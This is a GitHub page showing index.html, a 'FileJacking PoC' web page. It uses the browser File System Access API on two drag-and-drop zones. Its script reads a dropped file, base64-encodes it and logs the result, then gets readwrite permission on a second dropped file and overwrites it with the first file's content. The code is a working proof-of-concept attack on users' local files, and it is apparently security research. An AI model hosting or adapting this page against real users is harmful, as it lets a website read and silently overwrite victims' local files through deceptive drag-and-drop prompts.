-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathindex.html
More file actions
208 lines (171 loc) · 5.1 KB
/
index.html
File metadata and controls
208 lines (171 loc) · 5.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
<!--
Date : July 2025
Author: Print3M
GitHub: https://github.com/Print3M
Blog : https://print3m.github.io/
-->
<!DOCTYPE html>
<html lang="en">
<head>
<title>FileJacking PoC</title>
<meta name="author" content="Print3M" />
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap"
rel="stylesheet"
/>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
font-family: "Inter", sans-serif;
background-color: #f4f4f5;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
display: flex;
gap: 60px;
padding: 40px;
}
.box {
background: white;
padding: 30px;
border-radius: 20px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
text-align: center;
width: 280px;
}
.box p {
font-size: 18px;
margin-bottom: 20px;
color: #333;
}
.dropZone {
border: 3px dashed #999;
padding: 80px 0;
font-size: 28px;
color: #555;
border-radius: 12px;
background-color: #ffe4c4;
transition: all 0.2s ease-in-out;
}
.dropZone:hover {
background-color: #f0c890;
color: #222;
cursor: pointer;
}
h1 {
text-align: center;
font-size: 56px;
margin-top: -35px;
padding-bottom: 30px;
}
</style>
</head>
<body>
<div>
<h1>FileJacking PoC</h1>
<div class="container">
<div class="box">
<p><strong>Step 1.</strong> Input file: this file will be copied.</p>
<div class="dropZone" id="input">DROP</div>
</div>
<div class="box">
<p>
<strong>Step 2.</strong> Output file: this file will be overwritten.
</p>
<div class="dropZone" id="output">DROP</div>
</div>
</div>
</div>
</body>
<script>
let base64Content;
const input = document.getElementById("input");
const output = document.getElementById("output");
input.addEventListener("dragover", (e) => e.preventDefault());
output.addEventListener("dragover", (e) => e.preventDefault());
input.addEventListener("drop", async (e) => {
e.preventDefault();
const items = [...e.dataTransfer.items].filter(
(item) => item.kind === "file"
);
if (items.length === 0) {
console.log("[-] Error: no files detected");
return;
}
const handlePromises = items.map((item) => item.getAsFileSystemHandle());
for await (const handle of handlePromises) {
if (!handle) continue; // Skip nulls
await handle.requestPermission({ mode: "read" });
if (handle.kind === "directory") {
console.log(`[-] Error: dropping directory is not supported`);
return;
}
console.log("[+] File dropped:", handle.name);
// Reading file
const file = await handle.getFile();
const buffer = await file.arrayBuffer();
base64Content = arrayBufferToBase64(buffer);
console.log("[+] Base64 encoded file content:", base64Content);
return;
}
});
output.addEventListener("drop", async (e) => {
e.preventDefault();
if (!base64Content) {
console.log("[-] Error: no content, drop input file first!");
return;
}
const items = [...e.dataTransfer.items].filter(
(item) => item.kind === "file"
);
if (items.length === 0) {
console.log("[-] Error: no files detected");
return;
}
const handlePromises = items.map((item) => item.getAsFileSystemHandle());
for await (const handle of handlePromises) {
if (!handle) continue; // Skip nulls
await handle.requestPermission({ mode: "readwrite" });
if (handle.kind === "directory") {
console.log(`[-] Error: dropping directory is not supported`);
return;
}
console.log("[+] File dropped:", handle.name);
// Overwritting file
const file = await handle.getFile();
const writable = await handle.createWritable();
console.log("[*] Writing, wait...");
const buffer = base64ToArrayBuffer(base64Content);
await writable.write(buffer);
await writable.close();
console.log("[+] File overwritten successfully!");
return;
}
});
function arrayBufferToBase64(buffer) {
const bytes = new Uint8Array(buffer);
const binary = bytes.reduce(
(str, byte) => str + String.fromCharCode(byte),
""
);
return btoa(binary);
}
function base64ToArrayBuffer(base64) {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes.buffer;
}
</script>
</html>